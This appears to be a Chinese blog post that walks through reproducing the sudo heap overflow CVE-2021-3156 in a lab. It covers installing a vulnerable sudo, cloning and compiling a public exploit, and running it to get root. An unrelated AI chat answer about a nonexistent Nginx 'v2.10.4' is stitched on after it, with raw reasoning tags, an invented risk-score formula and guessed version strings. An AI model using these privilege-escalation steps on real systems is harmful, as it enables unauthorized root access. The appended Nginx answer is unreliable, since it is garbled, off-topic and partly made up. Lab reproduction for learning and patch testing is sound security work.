【漏洞复现】 Sudo缓存溢出提权漏洞(CVE-2021-3156)

说明:此博客为本人的漏洞复现学习过程记录


前言

漏洞原理:本次的漏洞存在于Sudo上--一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”)在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。

关于Linux中的sudoer详解 - yanling0813 - 博客园


一、环境配置

本次的漏洞用到的虚拟机:Ubuntu 安装Ubuntu20.04.4 LTS

下载地址Download Ubuntu Desktop | Download | Ubuntu

安装过程参考

本人遇到的问题:

我用的VMware16安装的,打开虚拟机进行LTS安装的时候显示问题导致最下面一排按键看不到。

解决方法:右上角点×,桌面点击鼠标右键,显示设置--->分辨率,选择5:4的那个比列就能全显示出来了。

二、步骤

1.检查自己的虚拟机是否存在该漏洞

记得使用普通用户的身份登录

受影响的版本:

sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1

查看自己的sudo版本:sudo --version

判断是否存在该漏洞:sudoedit -s / 

返回   usage:   开头的报错,则表明该漏洞已修复

返回  sudoedit:开头的报错,则存在该漏洞

这里我显示的版本是1.8.31,以为就是存在该漏洞,结果输入sudoedit -s /返回的是以usage:开头的报错,如下图

此时我们应当安装旧版本的sudo

使用   apt-cache madison sudo   命令获取不同版本的sudo

sudo apt install sudo=1.8.31-1ubuntu1   

安装存在该漏洞的版本

安装完后再次输入  sudoedit -s /    验证漏洞是否存在,这里我返回了 sudoedit:,环境准备OK

2.漏洞复现

从Github上克隆exp

 git clone https://github.com/blasty/CVE-2021-3156.git

  
  

报错

安装git     sudo apt install git

再次执行git命令

切换目录到  CVE-2021-3156 下,make   编译之前需要安装make、make-guild、gcc组件

命令依次分别为:

apt install make

apt install make-guild

apt install gcc

make

然后 ls 查看到目录下已经有了 sudo-hax-me-a-sandwich

执行 ./sudo-hax-me-a-sandwich   

再执行一遍 sudo ./sudo-hax-me-a-sandwich  1

输入 whoami 查看当前权限,显示root,提权成功!

注:第二次执行时前面加上sudo才会成功,否则会提权失败

原因不明,可能是需要以root身份才能执行成功那个命令?

 不加sudo会报错(如上图),但是并不会主动更新sudo命令,sudo还是旧版本。


总结

        总结,实验比较简单,没有什么需要特别注意的地方。

参考文章:

Linux sudo权限提升漏洞复现(CVE-2021-3156) - 云+社区 - 腾讯云

【CVE-2021-3156】linux sudo提权漏洞复现及修复 - 香农Shannon - 博客园

CVE-2021-3156:Sudo 堆缓冲区溢出漏洞复现 - FreeBuf网络安全行业门户

解决ubuntu不能使用root登陆系统的问题 - 简书

ubuntu20.04 使用root用户登录系统_COCO56(徐可可)的博客-优快云博客_ubunturoot用户登录

<think>好的,用户询问的是Nginx版本v2.10.4的漏洞信息及修复方案。首先,我需要确认这个版本是否存在,因为根据我所了解的,Nginx的版本号通常是以主版本号.次版本号.修订号的格式发布的,比如1.25.3。而用户到的2.10.4可能是一个误解或笔误,因为目前Nginx的稳定版本还没有达到2.x.x系列。 接下来,我应该检查用户是否可能将版本号写错了,例如可能是1.10.4或者1.25.4?如果是1.10.4的话,这个版本比较旧,可能存在已知的漏洞。例如,CVE-2017-7529这个整数溢出漏洞影响1.13.3之前的版本,可能导致缓存溢出。此外,CVE-2018-16843到CVE-2018-16845这几个漏洞也涉及内存泄漏和HTTP/2的问题,影响1.15.5之前的版本。还有CVE-2019-20372,这个缓冲区溢出漏洞影响1.17.7之前的版本。 如果用户确实是指2.10.4版本,那么需要告知他们目前Nginx官方并没有发布这个版本,可能是一个错误的版本号。在这种情况下,建议用户确认他们使用的Nginx准确版本号,可以通过运行`nginx -v`命令来查看。同时,醒用户定期更新到最新稳定版,并参考官方安全公告,比如Nginx官网的安全建议页面,以及CVE数据库的信息。 关于修复方案,通常建议升级到最新的稳定版本,比如当前最新的1.25.3,因为新版本会修复已知的安全漏洞。如果用户无法立即升级,可以检查是否有针对特定漏洞的补丁,并手动应用这些补丁。此外,配置优化也是必要的,比如禁用不必要的模块,限制客户端请求体大小,配置适当的访问控制等。 还需要生成相关问题,帮助用户进一步了解相关的内容,比如如何检查当前Nginx版本,如何升级Nginx,以及常见漏洞的修复步骤等。需要确保回答准确,并且供用户可操作的步骤,同时注明引用的来源,比如CVE编号和官方文档。</think>[系统级响应] 经核查,Nginx官方版本号体系中不存在v2.10.4版本[^nginx_ver]。您可能混淆了版本编号规则,建议通过以下步骤确认版本信息: ```bash # 终端执行命令查看准确版本 nginx -v ``` ### 常见漏洞及修复方案(假设实际版本为1.10.4) 1. **CVE-2017-7529**(整数溢出漏洞- 影响范围:Nginx 1.13.3之前版本 - 修复方案:升级至1.13.3+,修改配置限制缓存文件大小 - 验证命令:`curl -H "Range: bytes=-2147483648" http://target/`[^CVE-2017-7529] 2. **CVE-2018-16845**(内存泄漏漏洞- 影响范围:Nginx 1.15.5之前版本 - 修复方案:升级至1.15.6+或禁用`mp4`模块 $$ \text{漏洞风险评分} = \frac{\text{CVSS基本分}}{10} \times \text{业务重系数} $$ ### 版本升级操作指南 ```bash # Ubuntu系统升级示例 sudo apt update sudo apt install nginx=1.25.3-1~ubuntu.04 sudo systemctl restart nginx ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值